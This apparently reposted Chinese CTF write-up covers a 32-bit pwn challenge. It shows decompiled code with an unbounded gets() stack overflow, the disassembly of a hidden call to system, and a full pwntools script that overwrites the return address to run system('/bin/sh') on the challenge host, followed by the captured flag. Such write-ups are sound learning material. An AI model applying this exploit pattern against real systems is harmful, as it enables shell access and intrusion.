題目來源
CGCTF
題目描述
菜雞認為自己需要一個字串
題目場景
220.249.52.134:49499
題目附件
53c24fc5522e4a8ea2d9ad0577196b2f
題目思路:
題目給了pwn的函式是利用系統呼叫列印"hehehe",存在一個call system在0x0804855A,由于hello函式中的gets函式獲取的字串s沒有輸入字符數量的限制,直接堆疊溢位,將回傳地址覆寫為call system,由于name在bss段中,地址固定不變,程式中呼叫了_system函式,但是沒有/bin/sh,把name賦值為/bin/sh并且將其作為引數傳給_system函式
解題程序:
拿到程式后,我們首先checksec一下,發現是32位小端序,保護開啟了RELRO和NX,沒有Stack和PIE,載入IDA,F5反編譯得到偽C代碼,進入hello函式:
char *hello(){
char *v0; // eax
signed int v1; // ebx
unsigned int v2; // ecx
char *v3; // eax
char s; // [esp+12h] [ebp-26h]
int v6; // [esp+14h] [ebp-24h]
......
puts("please tell me your name");
fgets(name, 0x32, stdin);
puts("hello,you can leave some message here:");
return gets(&s);
}
首先要求我們通過fgets函式輸入一個名字,從鍵盤讀取最多0x32個字符到name區域,然后提示我們通過gets函式輸入一些資訊,沒有輸入字符數量的限制
.bss:0804A080 name db 34h dup(?) ; DATA XREF: hello+77↑o
name是bss段的一個大小為34的區域,s區域的起始位置是距離堆疊底0x26個位元組的地方,大小不限
-00000038 ;
......
-00000026 s db ?
......
-00000001 db ? ; undefined
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables
在左邊的函式串列中,有一個叫做pwn的函式,在實際運行程序中并不會被呼叫,這個函式利用系統呼叫列印"hehehe",按下tab后按下空格可以看到在0804855A 有一個call _system
.text:0804854D pwn proc near
.text:0804854D ; __unwind {
.text:0804854D push ebp
.text:0804854E mov ebp, esp
.text:08048550 sub esp, 18h ; Integer Subtraction
.text:08048553 mov dword ptr [esp], offset command ; "echo hehehe"
.text:0804855A call _system ; Call Procedure
.text:0804855F nop ; No Operation
.text:08048560 leave ; High Level Procedure Exit
.text:08048561 retn ; Return Near from Procedure
.text:08048561 ; } // starts at 804854D
.text:08048561 pwn endp
在hello函式中有一個部分用gets函式向堆疊的s區域讀取了字串,gets函式不限制字符數量程式并且沒有開啟stack保護,輸入字串覆寫堆疊上hello函式的回傳地址,程式執行完hello函式之后回傳到call _system這里,然后把name賦值為/bin/sh,最后把name也就是/bin/sh當引數傳入system,
腳本:
from pwn import *
p = remote('220.249.52.134', 49499)
name=0x0804A080
callsystem=0x0804855A
parameter="/bin/sh"#引數
payload="A"*0x26+"a"*4+p32(callsystem)+p32(name)#26+4到達回傳地址后依次傳入call_system和name的地址
p.recvuntil("name")
p.sendline(parameter)
p.recvuntil("here:")
p.sendline(payload)
p.interactive()
cyberpeace{3e0e437f3c60f9d6ea2390df1e800233}
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/264261.html
標籤:其他
